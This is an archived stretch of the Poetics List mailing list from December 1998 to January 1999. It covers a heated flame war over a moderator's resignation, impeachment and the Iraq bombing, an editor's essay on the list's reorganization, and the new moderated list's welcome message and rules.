I watched some of the interminable hyperbolic impeachment debate at the gym & came home & had a call from an elderly friend who remarked on how dys-functional one can get over the holidays & now I've read Charles' measured post regarding the recent rather awful drama of the list, and it seems obvious that even though we have facility with words, sometimes it's best to just bite one's tongue. A certain honor in living with one's emotions rather than blurting them all over.

I hope everyone has as peaceful a holiday as possible.

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670. **Judy Roitman**
Re: please don't bother to backchannel either
Fri 18 Dec 1998

> *I hope I can meet Joel someday, to*
> *tell & show him in person how much his work, outreach, & thoughtfulness*
> *have meant to me and, I'd be willing to bet, the majority of subscribers*
> *to this list.*
>
> *Joel, I'm sorry.*
>
> *em*

Amen.

---------- Judy Roitman
| "Whoppers Whoppers Whoppers! Math, University of Kansas | mem-
ory fails Lawrence, KS 66045 | these are the days." [redacted]
| fax: [redacted] | Larry Eigner, 1927-1996
---------- Note new area code
----
http://www.math.ukans.edu/~roitman/

↑ Index

671. **louis stroffolino**
Re: please don't bother to backchannel either
Fri 18 Dec 1998

Dear Joe Amato---
sometimes aphorisms and koans are valuable little "bombs"

(one would think those who value the "fragment"
and think Bruce Andrews is just the bees' knees
would appreciate such little "bombs" as you call them)

I mean this particular post was posted by somebody who--I think-- had largely been silent before. And despite whatever good intentions might be attributed to JK, it does seem there was an attempt to nip in the bud somebody who was trying to actually bring the discussion of the Iraq crisis to a more meta-level than Bouchard's righteousness (I'm not taking sides on this issue right now-- i.e. is there a difference between hating and hating the haters?) ---- Anyway, I'll shut up now....coz I gotta drink some water and there's no cooler but a sink..... c

On Fri, 18 Dec 1998, Joe Amato/Kass Fleisher wrote:

> *as i've said, i just read through the poetix posts this morning... seems to me joel was responding specifically to*
>
> *MAN.....don't you see that THIS IS THE FUCKING PROBLEM?*
>
> *(by way of example)*
>
> *i don't see joel as the fucking problem... which is not to say i see the above as the fucking problem, either, or even that i see "mindless chitchat" as the fucking problem... i think one fucking problem is when discussion heats up to the point of sending little electronic bombs out across the ether... and i thought joel was trying to say (whatever you make of what he said or how he said it) that perhaps it would behoove us not to be too impetuous, that what we don't need, esp. at this moment in historical time, is to amp up our email to the status of weaponry, defensive or offensive, in order to generate more adversarial exchange... albeit it's true that the events of the past few days are bound to produce just that...*
>
> *come to think of it, maybe many of us *do* need to spend more time at the water cooler... hey, i'm on my way, gonna go soak my head, b/c i can't believe what's happening on the house floor, and in the skies over iraq, and---*
>
> *best,*
>
> *joe*

↑ Index

672. louis stroffolino
Re: THANK YOU
Fri 18 Dec 1998

"I wasn't born there, perhaps I'll die there...."

I would like to express gratitude to several people who have very generously come through with offers to allow me to stay with them--or at least "hang" with them while I am in San Francisco. Specifically Katie Degentesh, Rachel Daley, Pete Neufeld, David Buuck, Chris Nagler and Amar Ravva, Garrett Caples---

In the words of Ron Silliman, you
"know the meaning of community"
(as does Joel Lewis who has given me a lead on a dentist)

again, thanks, I'm looking forward to meeting
you (plural)------
Chris Stroffolino

↑ Index

673. Mark Prejsnar
Re: The poetics of impeachment
Fri 18 Dec 1998

> *Events swamp poetics; poetics are shaped by "smart" bombs -- so I think it's appropriate to discuss this here. Without insults.*
>
> *Hilton Obenzinger*

I agree with this...at least up to a point. So let me briefly mention: i have great respect for many of the posts expressing outrage, pain, fuy, depression.... Many have been beautiful and many eloquent.

As i've already tossed out (rather bruquely) once, i understand the problem we are facing to be a systemic one and not one of particular evil powerful men. In this respect i feel many of the specific comments made about "why" and "how" we are in this situation, are inadequate.

(i'm moved to reiterate this now, because of Hilton's comment that the "right-wing impeachment coup" will have various consquences--he implies it will strengthen the x'n right, cause things to go worse in the "culture wars" etc. ....All of which is surely approximatly accurate.)

My problem with the liberal analysis that folks have offered, both regarding the aggression against Iraq and the impeachment circus, is that they vastly overestimate the importance of clinton and his regime.

i submit that no aspect of life in the U.S. was improved by the accension of clinton and his wing of the republicrat struture: **THEY ADMITTED** as much, emphasizing the right-wing character of their agenda.

Look at the overall dynamics: of capital's attack on unions, the runaway of US industry to low-wage markets and the reduction of us in the US to primarily a minimum wage postindustrial service economy, the hostility to any politics of liberation (continually attacked in the media as "pc"), the furious destruction of what was always a laughably minimal US welfare structure, the disappearance of affordable housing, the smashing of affirmative action, the breath-taking rapidity with which (due to social policies and corporate strategy, working together) income and affluence and free time are polaraizing between a tiny upper 12 percent and the majority of people...who are becoming something close to a peon class, disenfranchised and inactive.

If our culture, poetic and otherwise, is to have any chance of breathing, i would argue that we need to understand where the violence and social problems are coming from: they do not come from the republican wing of the republicrat structure, and this is why (in contrast to Hilton's eloquent posts) i do not feel that the "impeachment coup" is anything but a distraction. The right wing (of which clinton is an important leader) wants most of all for citizens to think the impeachment nonsense **matters**. It does not.

It is alternatives to the republicrat monolith that will give hope to democracy and the public sphere in US life. Not imagining that slick Willy and the "Democrats" are our friends....

Mark P.

↑ Index

674. **David Kellogg**

Eventually, Gabe will be the only one left

Fri 18 Dec 1998

And the interest of that conversation will be . . .?

~~~
~~~

↑ Index

675. **Jessica Pompeii**
Why are Americans
Fri 18 Dec 1998

---

so afraid of adversity? Thanks for the mean posts once in awhile. I am bored shitless. Linguistics and show-offs don't = poetics. The best writing I know is about personal relationships, it always ends up a metaphor for politics. Let it ride.... -Jessica

↑ Index

676. **Mairead Byrne**
Re: Lancing a boil
Fri 18 Dec 1998

Joel objected to what David Divizio said about impeachment/war and he said so, somewhat insultingly. I objected to Joel's put-down and I said so, with minimal insult. Gabe also objected to Joel's put-down and he said so, very insultingly. (Insult is very much a male sport thus far). Pierre Joris rode in with luke warm diarrhea in a dixie cup: he objected to Gabe's objections and he didn't just say so, he also told Gabe: "Get off this list."

Thus far several folks have written in paying tribute to Joel. Now several other folk write in paying vituperation to Gabe. Many of these people take to insults as to the manner born. Problem is: they also try to flex muscle: Get off this list...I second that... Get thee hence, Gabe.

Okay, everyone's hot under the collar today, and yesterday (maybe because of powerlessness?). But do you really want to create a mini-list-parody of the parody that's happening in Congress? What we deal with here is language, a dangerous enough property. What does it mean to say "Your insults are unacceptable. Your apologies are unacceptable. Get off this list"? Are you claiming the high moral ground, despite your production of variously temperatured shit? And are these little poetics prose missiles intended to eliminate, delete, annihilate? One speaker after another may well pipe up "I second that" -- eliminate the irritant; just as one speaker after another is standing up in Congress saying the same thing; and those ole cruise missiles, which have just about given up on talk, are just pop-popping with the same message: eliminate him/them.

We have words here. We're nobodies in this democracy. Let's use them to the best of our ability, this way and that way and any which way. Let's slip down off the high moral ground. Let's have the discretion to choose our words carefully as individuals. And for the sake of the little gaps between words or the next

chapbook or god knows the MLA or whatever you/we guys hold valuable, let's stop issuing marching orders.

Mairead

P.S. To David Bromige: Samuel Beckett probably would have very little to say about all this (though he was quite a proponent of "insultive poetics" himself, witness "Waiting for Godot"). In some sense, I suppose, the French Government awarded him the Croix de Guerre for keeping his mouth shut. And France was Beckett's "country" only because he allowed it to be.

↑ Index

677. Joe Amato/Kass Fleisher
Re: please don't bother to backchannel either
Fri 18 Dec 1998

---

chris, hey... i *did* indicate that i didn't think the statement in question was "THE fucking problem"...

and i should add, that joel managed in his post to use the word "personally"---have a look at his post again...

point is that i was differentiating mself from joel, even as i spoke on his behalf (as it were)... which (i think, very understandable) way of conducting oneself ends up becoming a matter of polarizing forces on the list (listen up, gabe, while you toot that horn of yours)... not wishing to polarize further, chris, i think what you say has to do with how joel went about saying what he said... i still think what he wanted was to nip in the bud what seemed to him (yet another) escalating exchange... but i take your point re nipping a potential contributor, even if i think joel's departure over this matter is downright disheartening, not least b/c i think (as others have indicated) that we owe him our gratitude for all of his work on this list over the years...

---
on another thread:

mark p, i do hear what you're saying, believe me, and i respect (as you know) your political acumen... but don't you think, politically speaking, that we've got to support what vestige we have of liberal/left thinking?... i mean, clinton is no utopia, but he's a far sight better than a hard & fast right-winger, no?....

joe

↑ Index

678. A. Jenn Sondheim
Swinburne
Fri 18 Dec 1998

just came over as the Unix fortune:

Pine finished -- Closed folder "INBOX". Kept all 3 messages.
From too much love of living,
From hope and fear set free,
We thank with brief thanksgiving,
Whatever gods may be,
That no life lives forever,
That dead men rise up never,
That even the weariest river winds somewhere safe to sea.
-- Swinburne
Ju1lu% b
You have no new mail.
Ju2lu%

Now this seems apropos, but isn't, and that fascinates me.

Alan

↑ Index

679. Mark Prejsnar
Beyond the Vestiges
Fri 18 Dec 1998

> *----*
> *on another thread:*
>
> *mark p, i do hear what you're saying, believe me, and i respect (as you know) your political acumen... but don't you think, politically speaking, that we've got to support what vestige we have of liberal/left thinking?... i mean, clinton is no utopia, but he's a far sight better than a hard & fast right-winger, no?....*
>
> *joe*

Joe----

i agree with folks who feel that **some** room needs to be left for actual direct exchanges on poetics.

So i'll try to be terse. Clinton really has not pursued policies to the left of Reagan and Bush, in a vast majority of areas and issues. He was selected for the

demo nomination in the first place because of his profound commitment to crushing unions and working people in Arkansas.

i believe very very intensely, that you're increasing the problems we face, when you imagine that the demo wing of the republicrat structure can in any way help us.

it is **completely** controlled by big capital; THAT IS WHAT IT EXISTS FOR.. ; in the fine eloquent formulation of Canadian labor scholar and activist Elaine Barnard, the D & R wings of the republicrats **are not parties** (parties are sustained by a mass membership, who have voting rights and determine the party's direction), they are guided entirely by those who have huge amounts of funds, & essentially they function as arms of the government: *they are voter registration mechanisms* ;

i shudder a bit at the phrase "liberal/left"...But let me not become contentious over semantics (..there's more than semantics at issue there, but i'm trying to be terse!!)

If you wish to "support what vestige we have of left thinking," then please do so!!! One CAN'T do so by "wasting one's vote" (and other resources) in support of clinton and the "demo's", whose agenda is essentially that of the repubs.. I would argue that the vestige we need to support resides in the section of the Left that is trying to build a movement that can reach ordinary people with a politics not beholden to corporate hegemony: the New Party, the Labor Party, the various state and national Green parties, Campaign for a New Tommorow, the Independent Progressive Politics Network (which links many of the parties i've mentioned), etc.

tersely (sorta)

Mark P.

↑ Index

680. **A. Jenn Sondheim**

Re: please don't bother to backchannel either

Fri 18 Dec 1998

Thanks for the attack. What I know about WWII history? You don't know a damn thing about me or what I know.

I love how mean-spirited this list is getting at this point. Let's all flame each other - why not?

I found your comments insulting to the extreme. Not that it matters here any-more.

Alan

↑ Index

681. Aldon Nielsen
William Gaddis
Fri 18 Dec 1998

as if we did not have enough to be sad about today --

while watching the Rev. Falwell (he of $$$$ support for murder in southern Africa) sounding off about impeachment and morality, I couldn't help thinking of the Rev. Ude,,, among Gaddis's more prescient creations --

The LA Times felt compelled to print the obit. under a headline describing Gaddis as an "unread" novelist --

If only all of our unreading were so rewarding --

will be off-line till New Years -- hope to see some of y'all in San Francisco --

↑ Index

682. Charles Bernstein
(no subject)
Fri 18 Dec 1998

Chris,

I very much support all the points you make in your note just now (by the way, should I continue to cc these note to "nonce") and your approach seems wise to me. I think the quicker you get out the new Welcome Message the better it would be. When do you think you will do this?

JOEL AND I WILL BOTH BE AVAILABLE TO HELP YOU AS LONG AS YOU NEED US!

I think it would be worthwhile to send out to the new sub that Joel authorized but who did not verify address -- [redacted] -- the following note:

We very much appreciate your interest in the poetics list. We have not yet received your registration form, as requested. Registration is required of all those joining the list. Please be sure to return this form to us soon that you subscription can be confirmed.

I would then send a message to the listserv:

quiet del poetics [redacted]

and only OK sub when you receive confirmation. You might want to wait a bit for this to see what happens, but verification has been in place for over a year and is a sensible policy. But that's up to you.

I am not going to reply to "R. Gancie/C.Parcelli" <[redacted]> because I have already spoken to these spurious points and there doesn't seem anything to gain by it; except that of course some people out there will no doubt believe anything bad said, I suppose -- However, I think restrain remains the best policy for me.

I'd hold off on all new subs till after New Year's.

***
This should be put on top of the Welcome message for anyone requesting a subscription. No one should be added to the list without getting this back.

Thanks for your interest in the Poetics List. Information about the list is provided below and should help you determine if you want to join the list. If you do wish to subscribe, we ask that you register with (the information you provide will be kept confidential).

Name:
Address (no po boxes please):
Phone:
How did you hear about the list?
What is your interest in the list (be as brief as you like)?

Once you have registered with us by replying to these questions (and send your responses as a reply to this message, that is to [redacted]) go ahead and subscribe to the list *yourself* by following the instructions below.

Charles

↑ Index

683. Charles Bernstein
what is intention?
Fri 18 Dec 1998

OK -- now I have done it. Since Joel's resignation today I have been scrambling to pick up the administrative details of the list, despite feeling very leery about the whole state of affairs here, and wanting myself to bow out of this situation, I had hoped more gracefully than I appear to be. I am trying to find someone to take over the management of the list, something I cannot continue to do. Meanwhile, I am trying to follow up the list maintenance issues left unresolved, including the question of unconfirmed list registration. Unfortunately, my last communication on this was sent out over the list instead of privately, but I suppose it expresses my extreme personal frustration with the situation.

↑ Index

684. Joe Amato/Kass Fleisher
Re: please don't bother to backchannel either
Fri 18 Dec 1998

> *Can you deny there is ass-kissing galore on this list? Haven't any of you read Amato's posts from the Perloff/Bernstein lecture? And wasn't Bernstein's approach either delusional or intentionally contentless, at least as can be determined from what Amato billed as a F/2/F with B.*

carlo, i hope to hell you're not accusing me of asskissing... for one thing, i am, as i've said again and again, friends with marjorie and charles (so yes, please, consider the source when i refer to these two)... bob archambeau can attest to the fact that the following is what i posted him (backchan) when he asked me (on the list) to say something about marjorie's and charles's talk:

> *wasn't gonna post on the marjorie/charles event, given the recent shenanigans on >poetix (and my feeble attempt to mediate same), but am glad you gave me the >opportunity of doing so...*

naturally, i felt that posting in on the event would be read as asskissing... that said, i'm happy bob gave me the opportunity by coaxing me some, b/c i had a few things to say (albeit not all that much, b/c that's not my m.o.)...

anyway, i don't as a rule kiss ass (i like to think i NEVER do, but i probably do in ways i'm not aware of)... in fact, asskissing is the one thing i was taught as a kid NEVER to do... i'm not sure how to go about proving that i'm not an as-skisser, which of course points to the beauty of making such an allegation in the first place... but if we ever do get to meet f2f, i'm pretty certain you'll walk away from the encounter firmly believing that i'm anything but an asskisser...

yeah, so I sez, i know...

my sincere apologies, carlo, if i'm misreading you here... if i'm not (misreading you here), well i've got boundless energy, as you know, to beat the drums with you backchannel about this sort of bullshit...

///

joe

↑ Index

685. Tosh
chill
Fri 18 Dec 1998

It is an odd culture these lists. I think everyone should read a book or something and just chill for a day or two.

Tosh Berman
TamTam Books

↑ Index

686. Leonard Brink
Beating pens into swords at the water cooler
Fri 18 Dec 1998

And the blue ribbon award for free speech goes to...
Joel Kuzsai:
>> Gabe, I hope we can meet someday. I hope you and others who have flamed
>> me are as courageous in person as you are virtually.

So now we've resorted to physically threatening people who don't agree with us? The list might be a nicer place with a little less testosterone and a little less alcohol.

↑ Index

687. Divizio
Re: please don't bother to backchannel either
Fri 18 Dec 1998

Joel, I too noted that you indicated "personally". I hope I'm not the straw.....because it would be a pity if honest naive innocent ignorant emotion...the thing we so cherish MOST were what was pushing you off such an IMPORTANT LIST. This place is about far more than vanity. Hey, take a break.....the truth doesn't have to. It's always here. You'll be back.

I'm sorry I didn't email you last night if that would have helped.....but then again I'm glad I didn't. Real situations bring up real responses.....and that's how we move forward.....or sideways.....but please don't BACK UP!

Sincerely,
David 2 Divizio

PLEASE backchannel. I've quickly understood what's out there!

-----Original Message-----
·ol : J Kuszai <[redacted]>
ˆ¶æ : [redacted]
<[redacted]>
“úŽž : 1998”N12ŒŽ19“ú 0:52
Œ–¼ : please don't bother to backchannel either

> *Gabe, I hope we can meet someday. I hope you and others who have flamed me are as courageous in person as you are virtually. If it was up to me, I would have deleted you a long time ago. But, since I don't get to do what you want, and you do, I have decided to leave the list. I'm not trying to be dramatic. This list has been a lifeline for me and leaving it is not easy. I appreciated Alan's comments on the bombing and the poetry and critical discourse swirling around it. On the other hand, I do think I was pretty specific about what I objected to. I also noted that I was "personally" opposed to that sort of thing. So, with this in mind, I wish you all well.*

↑ Index

688. **David Baratier**

water cooler poem

Fri 18 Dec 1998

Ffarewell, the rayn of crueltie!
Though that with pain my libertie
Dere have I boght, yet shall suretie
Conduduyt my thoght of joyes nede.

Of force I must forsake pleasure:
A goode cause iust syns I endure
Thereby my woo, which be ye sure
Shall therwith goo me to recure.

I fare as oon escaped that fleith:
Glad is gone yet still fereth,
Spied to be cawght, and so dredeth
That he for nought his pain leseth.

In ioyfull pain reioyse myn hert,
Thus to sustain of eche a part;
Let not this song from the estert;
Welcome emong my plaisaunt smert.

*

Lueve tys new spelle checkere. I just moved & am now up and running. New address:
David Baratier
3252 Indianola Ave, Apt A
Columbus, OH 43202
[redacted]

Ffarethee & be wyll,

David Baratier

↑ Index

689. David Baratier
One more time before it passes
Fri 18 Dec 1998

Pavement Saw Press Chapbook Contest $500 and 25 copies of the winning chapbook will be awarded for the finest collection of poetry received. Ruth Anderson Barnett will be the judge. Submit up to 32 pages of poetry. Include a cover letter with your name, address, phone number, poem titles, publication credits and a brief biography. Entry fee $7. Make all checks payable to Pavement Saw Press. All entries must be postmarked by December 20th, 1998 for consideration in this years contest. Each US entrant will receive a copy of the winning chapbook provided a 8 1/2 x 11 SASE with $1.01 postage is included, add appropriate postage for other destinations. All manuscripts will be recycled. Send all entries to: Pavement Saw Press / Chapbook Contest / 7 James Street / Scotia, NY 12302

The Pavement Saw Press Chapbook Award was established in 1995 to promote writers whose work challenges conventions of contemporary poetry while encouraging multiple readings. Writers world-wide are invited to participate. Each year, one manuscript is selected by a writer with a thorough familiarity of the small press realm. Publication, a prize of five hundred dollars, and ten percent of the book run is awarded to the winner.

Be well

David Baratier, Editor, Pavement Saw Press

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690. Poetics List
Poetics List Reorganization
Tue 22 Dec 1998

My doctor tells me I need more rest
But I know the quiet is killing me

We are presently reorganizing the Poetics List and will be announcing our new format shortly after New Year's. No further posts to the Poetics List will be sent out until our reorganization is complete, so please don't send any post to the list in the meantime.

Sorry for any inconvenience

& best to all the holidays to all!

Charles Bernstein

↑ Index

@poetics

The UB Poetics Discussion Group

Archive of Electronic Correspondence

January 1999

131 messages · Mon 11 Jan 1999 – Fri 29 Jan 1999

January 1999 opened onto a world in high ceremony and the Poetics list nowhere in it. In Washington the Senate convened only the second impeachment trial of a president in the nation's history; in Europe a new currency came into being; in Brazil a currency died — and the room that had spent December bombing itself was not even present to ignore any of it. It had gone dark. For the first ten days of the year there was silence where the loudest list in poetry had been, and when a message finally arrived, on the eleventh, it was not an argument but an announcement, and the list that sent it was not quite the same list.

For the Poetics List had been reconstituted. Charles Bernstein and a new editor, Christopher Alexander, brought it back in January as something deliberately quieter: fully moderated now, its six hundred subscribers no longer free to speak at will. The new Welcome Message declared it *"no longer a discussion list as such"*, and went on, over many sober paragraphs, to legislate the room that December had torn apart — submissions reviewed by editors, real names required, no more than five messages a day, and, in a clause that read like an epitaph for the preceding year, flame messages no longer tolerated. The list that could not stop talking had been, at last, made to hold its tongue.

What remained was a noticeboard, and a useful one. Through the second half of January the list carried what its charter now asked of it: new titles from Roof and Coach House, a Creeley book, readings from New York to Boulder, the Page Mothers conference, fresh pages at the Electronic Poetry Center. It was orderly, and it was generous, and it was almost entirely without conversation — thread after thread arriving and closing in a single message, the arguments that had been the room's whole weather simply gone. One could admire the calm and still feel the loss in it.

And yet, stripped of its quarrels, the list showed something the quarrels had hidden: that underneath the years of argument it had always been a mutual-aid society for an art the wider world does not attend to — poets telling other poets where the readings were, which small presses had survived, what book had just come into being. The bulletin was not a lesser thing than the brawl. It was the same devotion with the noise removed, a record of a community that keeps itself because almost no one else will.

It took a death to make the new list briefly a room again. On the twenty-first Paul Metcalf died — born, as Don Byrd's notice observed, on the very day of the Russian Revolution, the author of two dozen books in a genre he had invented, and almost unread outside a small and devoted few — and the moderated, announcement-only list did the one thing no charter could forbid: it grieved. Byrd posted the news; Peter Quartermain answered with the truest sentence of the month, asking who would mark the loss and answering himself: *"who will notice, outside this list? Hardly anyone"*. I have set that small elegy at the end of a month of orderly announcements exactly as January delivered it, because it is the whole case for such a list, tamed or wild — that it is the one place a poet like Metcalf is noticed at all.

— Kristen M. Fabians

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1. miekal and
Literature Nation
Mon 11 Jan 1999

<Awkword Ubutronics is pleased to announce a new language hypertext>

a narrative dissolves into a

"LITERATURE NATION"

interwriting by Maria Damon & Miekal And
media manipulations by Miekal And, Allegra Fi Wakest & Zon Wakest

MediaWindow, 6 Hosts, 450 Text-Moments, Too Many Clickables To Count,

"semantics means. each theory replaces the previous memory, how long they last. termination is succinct, succession is giant. I cannot reach the book on the top shelf, lower case is better. what's all the hoopala about, the crystal remains misspelled."

"winged innoculation, they push the words across the landscape with their persistent inequalities. great migration of theory, driven below the level of thought. syllabic diaspora, disparate conclusions. in the alphabetic logic, they wound and found each other."

Comments & Curiosities invited

http://net22.com/qazingulaza/joglars/litnat/index.html

↑ Index

2. Poetics List
Welcome to the (new) Poetics List!
Mon 11 Jan 1999

"The blue distance that does not resolve into the foreground and rolls off at our approach..."

--

Welcome to the (new) Poetics List!

Numerous changes have been made in the list format, and both old and new subscribers will want to look at the revised Welcome Message for details of those changes. Foremost is that the list is now =fully moderated=; with the corollary that, with 600+ subscribers, Poetics can no longer be a discussion list as such. We've decided, for the time being, to restrict list traffic to event/publication announcements, though in future we may be accepting event and "scene" reports, book reviews, statements/responses and the like, as well as a limited amount of somewhat more informal correspondence.

The list is also coming online with a new editorial staff, consisting principally of me, whom many of you will recognize from this list or other poetry-related contexts. I'm looking forward to working on this list, which has been very useful to me in the past. Cheers,

Christopher W. Alexander

A copy of this message and the (new) Welcome Message will
go out shortly to notify those set to "nomail" of the changes.

↑ Index

3. Poetics List

(new) Welcome Message

Mon 11 Jan 1999

Welcome to the Poetics List & The Electronic Poetry Center

..sponsored by The Poetics Program, Department of English, College of Arts & Science, the State University of New York, Buffalo /// Postal Address: Poetics Program, 438 Clemens Hall, SUNY Buffalo, NY 14260

Poetics List Editor: Christopher W. Alexander
Please address all inquiries to <[redacted]>.

Electronic Poetry Center: <http://writing.upenn.edu/epc>

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3. Submissions
4. Cautions
5. Digest Option
6. Temporarily turning off Poetics mail
7. "No Review" Policy
8. The Electronic Poetry Center (EPC)
9. Poetics Archives at EPC
10. Publishers & Editors Read This!

Above the world-weary horizons New obstacles for exchange
arise Or unfold, O ye postmasters!

1. About the Poetics List

The Poetics List was founded by Charles Bernstein in late 1993 with the epigraph above. Now in its second incarnation, the list carries over 600 subscribers, though all of these subscribers do not necessarily receive messages at

any given time. A number of other people read the Poetics List via our web archives at the Electronic Poetry Center (see section 9 below).

Please note that this is a private list and information about the list should not be posted to other lists or directories of lists. The idea is to keep the list to those with specific rather than general interests, and also to keep the scale of the list relatively small and the volume manageable.

are reviewed by the editors in keeping with the goals of the list, as articulated in this Welcome Message. We remain committed to this editorial function as a defining element of the Poetics List. Our aim is to support, inform, and extend those directions in poetry that are committed to innovations, renovations, and investigations of form and/or/as content, to the questioning of received forms and styles, and to the creation of the otherwise unimagined, untried, unexpected, improbable, and impossible.

=The Poetics List is no longer a discussion list as such.= Due to the increasing number of subscribers and the need for close moderation, we are no longer able to maintain the open format with which the list began. Rather, we encourage subscribers to post information on publications and reading series that they have coordinated, edited, published, or in which they appear. Such announcements constitute a core function of this list. For further information on posting to the list, see section 5 below. Publishers and series co-ordinators, see also section 10.

In addition to being archived at the EPC, some posts to Poetics (especially reviews, obituary notices, announcements, etc.) may also become part of specific EPC subject areas. Brief reviews of poetry events and publications are always welcome. See section 7 for details.

We recognize that other lists may sponsor other possibilities for exchange in this still-new medium. We request that those participating in this forum keep in mind the specialized and focussed nature of this project. For subscription information or to contact the editors, write to <[redacted]>.

---

2. Subscriptions

Subscriptions to the Poetics List are free of charge, but formal registration is required. We ask that when you subscribe you provide your real name, street address, email address, and telephone number. All posts to the list must provide your full real name, as registered. If there is any discrepancy between your full name as it appears in the "from" line of the message header, please sign your post at the bottom.

<[redacted]>. Your message should include
all of the required information. Please allow several days for your
new or re-subscription to take effect.

PLEASE NOTE: All subscription-related information and
correspondence remains absolutely confidential.

To unsubscribe, send this one-line message, with no "subject" line to
<[redacted]>:

*If you are having difficulty unsubscribing, please note: sometimes your e-mail address may be changed slightly by your system administrator. If this happens you will not be able to continue to receive mail from the Poetics List. To avoid this problem, unsub using your old address, then return to your new address and send this one-line message, with no "subject" line to <[redacted]>:

Remember to replace "Phil Spillway" with your own name. If you find that it is not possible to unsub using your old address, please contact the editors at <[redacted]> for assistance.

*Eudora users: if your email address has been changed, you may still be able to unsubscribe without assistance. Go to the "Tools" menu in Eudora, select "Options" and then select setup for "Sending Mail": you may be able to temporarily substitute your old address here to send the unsub message.

The most frequent problem with subscriptions is bounced messages. If your system is often down or if you have a low disk quota, Poetics messages may get bounced. Please try avoid having messages from the list returned to us. If the problem is low disk quota, you may wish to request an increased quota from your system administrator. (University subscribers may wish to argue that this subscription is part of your scholarly communication!) You might also consider obtaining a commercial account. In general, if a Poetics message is bounced from your account, your subscription to Poetics will be temporarily suspended. If this happens, simply re-subscribe to the list (once your account problem has been resolved!) by sending this one-line message, with no "subject" line to
<[redacted]>:

Remember to replace "Phil Spillway" with your own name.

All questions about subscriptions, whether about an individual subscription or subscription policy, should be addressed to the list's administrative address <[redacted]>. Please note that it may take up to ten days, or more, for us to reply to messages.

---

3. Submissions

are reviewed by the editors in keeping with the goals of the list as articulated in this Welcome Message (see section 1). Please note that while this list is primarily concerned with poetics, submissions relating to politics and political news will also be considered. All correspondence with the editors regarding submissions to the list remains confidential.

Unsolicited submissions are welcome. In particular, we encourage subscribers to post information on publications and reading series that they have coordinated, edited, published, or in which they appear. Such announcements constitute a core function of this list. Also welcome are other sorts of news, e.g., event reports, obituaries, and reading lists (annotated or not). Queries may be posted to the list when deemed appropriate; we request that the posting subscriber assemble "highlights" from respondents' posts to be published to the list. *PLEASE NOTE: All submissions should be sent to the poetics list at <[redacted]>, and not to the editors.*

Solicited submissions (by subscribers or non-subscribers) will also appear on Poetics from time to time. The editors reserve the right to contact any subscriber regarding possible submissions.

Posts to the Poetics List must abide by the rules of "Fair Use" when quoting material for which the posting subscriber does not hold copyright. Please do not post to the list personal or "backchannel" correspondence, or other unpublished material, without the express permission of the author!

Please do not send inquiries to the list to get an individual subscribers address.

If you want someone to send out information to the list as a whole, or supply information missing from an post, or thank someone for posting something you requested, please send the request or comment directly to that individual, and not to the list editors.

When sending to the list, please send only "plain text". Note, however, there is no problem with sending clickable URLs in HTML format.

Please do not send attachments or include extremely long documents in a post, since this may make it difficult for those who get the list via "digest" or who cannot decode attached or specially formatted files. The use of "styled" text or HTML formatting in the body of email posts to the list appears not to be compatible with the the list's automatic digest program; as a result such messages disrupt the format of the Digest, even though this coding is readable for some subscribers who do not use the digest option.

Like all machines, the listserver will sometimes be down: if you feel your message has been delayed or lost, *please wait at least one day to see if it shows up*, then check the archive to be sure the message is not posted there; if you still feel there is a problem, you may wish to contact the editors at <[redacted]>.

As an outside maximum, we will accept for publication to Poetics no more than 5 messages a day from any one subscriber; in general, we expect subscribers to keep their post to less than 10-15 posts per month.

For further information or to contact the editors, please
write to <[redacted]>.

---

4. Cautions

It may take up to a week or more to respond to your questions or to subscription requests or to handle any other editorial business or any nonautomated aspect of list maintenance.

Please do not publish list correspondence without the express permission of the author! Copyright for all material posted on Poetics remains with the author; material from this list and its archive may not be reproduced without the author's permission, beyond the standard rights accorded by "fair use".

"Flame" messages will not be tolerated on the Poetics List. In this category are included messages gratuitously attacking fellow listees, also messages designed to "waste bandwidth" or cause the list to reach its daily limit. These messages are considered offensive and detrimental to list discussion. Please do not bother submitting such messages to the editor. Offending subscribers will receive only one warning message. Repeat offenders will be removed from the list immediately. Please do not put this policy to test!

---

5. Digest Option

The Listserve program gives you the option to receive all the posted Poetics message each day as a single message. If you would prefer to receive ONE message each day, which would include all messages posted to the list for that day, you can use the digest option.

Send this one-line message, with no "subject" line to
<[redacted]>:

    set poetics digest

You can switch back to individual messages by sending this message:

    set poetics mail

NOTE!! Send these messages to "listserv" not to Poetics or as a reply to this Welcome Message!!

---

6. Temporarily turning off Poetics mail

Do not leave your Poetics subscription "active" if you are going to be away for any extended period of time! Your account may become flooded and you may lose not only Poetics messages but other important mail.

You can temporarily turn off your Poetics subscription by
sending this one-line message, with no "subject" line, to
<[redacted]>:

set poetics nomail

You may re-activate your poetics subscription by sending this one-line message, with no "subject" line, to the same address:

set poetics mail

When you return you can check or download missed postings from the Poetics archive. (See section 8 below.)

---

7. "No Review" policy

For the safety and security of list subscribers, the "review" function of the Poetics List has been de-activated. Non-posting subscribers' email addresses will remain confidential. Please do not ask the list editors to give out subscriber addresses or other personal information.

---

8. What is the Electronic Poetry Center?

The World Wide Web-based Electronic Poetry Center is located at <http://writing.upenn.edu/epc>.

Our mission is to serve as a hypertextual gateway to the extraordinary range of activity in formally innovative writing in the United States and around the world. The Center provides access to the burgeoning electronic resources in new poetries including RIF/T and many other electronic poetry journals, the POETICS List archives, an AUTHOR library of electronic poetic texts and bibliographies, and direct connections to numerous related electronic RESOURCES. The Center also provides information about contemporary print little magazines and SMALL PRESSES engaged in poetry and poetics. And we have an extensive collection of soundfiles of poets reading their work, as well as the archive of LINEbreak, the radio interview series.

The EPC is directed by Loss Pequeño Glazier.

---

9. Poetics Archives at the EPC

Go to the Electronic Poetry Center <http://writing.upenn.edu/epc> and select the "Poetics" link from the opening screen. Follow the links to Poetics Archives. Or set your browser to go directly to <http://writing.upenn.edu/epc/poetics/archive>.

You may browse the Poetics List archives by month and year or search them for specific information. Your interface will allow you to print or download any of these files.

---

10. Publishers & Editors Read This!

PUBLISHERS & EDITORS: The Electronic Poetry Center listings of poetry and poetics information is open and available to you. We are trying to make access to printed publications as easy as possible for our users and ENCOURAGE you to participate!

Send a list of your press/publications to
<[redacted]>, with the words EPC Press Listing in
the subject line.

You may also send materials on disk. (Write file name, word processing program, and Mac or PC on disk.) Send an e-mail message to the address above to obtain a mailing address to which to send your disk. Though files marked up with html are our goal, ascii files are perfectly acceptable. If your word processor will save files in Rich Text Format (.rtf) this is also highly desirable.

Send us extended information on new publications (including any back cover copy and sample poems) as well as complete catalogs or backlists (including excerpts from reviews, sample poems, etc.). Be sure to include full information for ordering--including prices and addresses and phone numbers both of the press and any distributors.

